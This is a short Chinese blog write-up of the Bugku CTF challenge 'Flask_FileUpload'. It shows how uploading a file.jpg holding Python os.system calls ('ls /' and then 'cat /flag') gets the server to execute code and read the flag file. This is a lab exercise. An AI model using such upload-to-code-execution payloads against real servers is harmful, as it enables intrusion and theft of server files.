技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
SilentSamsara
几秒前
消息队列集成:Python + Kafka/RabbitMQ 生产实践
服务器·开发语言·分布式·python·kafka·rabbitmq
shadow_glory
2 分钟前
vue3自定义指令directives
前端·javascript·vue.js
Front思
3 分钟前
如何学习Shopify前端开发?
前端·学习
zkkkkkkkkkkkkk
4 分钟前
python爬虫模拟拖动滑块缺口验证码
爬虫·python·ddddocr
码云骑士
5 分钟前
语音合成演示 - Web Speech API
前端
ZC跨境爬虫
6 分钟前
跟着 MDN 学CSS day_50:(传统布局方法与网格系统)
前端·css·ui·tensorflow·媒体
薛先生_099
8 分钟前
vue-路由模块封装
前端·javascript·vue.js
薛先生_099
9 分钟前
vue-router-link实现导航高亮效果
前端·javascript·vue.js
郑州光合科技余经理
11 分钟前
海外版外卖系统源码:支付/地图/多语言核心代码实现
android·java·前端·后端·架构·uni-app·php
不灭锦鲤
12 分钟前
网络安全第117天
安全·web安全
热门推荐
01GitHub 镜像站点022026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf03【AI】2026 年具身智能模型和世界模型总结04Codex 下载安装指南:Windows 和 macOS 官方版下载05Codex 桌面端更新后 Chrome 插件和 Computer Use 不可用,怎么排查和修复06【踩坑记录 | 第一篇】微软商店无法使用时,如何手动安装 OpenAI Codex?附`.msix`文件系统错误解决方法07CC-Switch 下载、安装与使用配置指南【2026.5.29】08Codex 接入 DeepSeek API 完整配置文档09CC-Switch & Claude 基于 Linux 服务器安装使用指南10裂开!ChatGPT 居然开始要手机号验证,附详细解决方法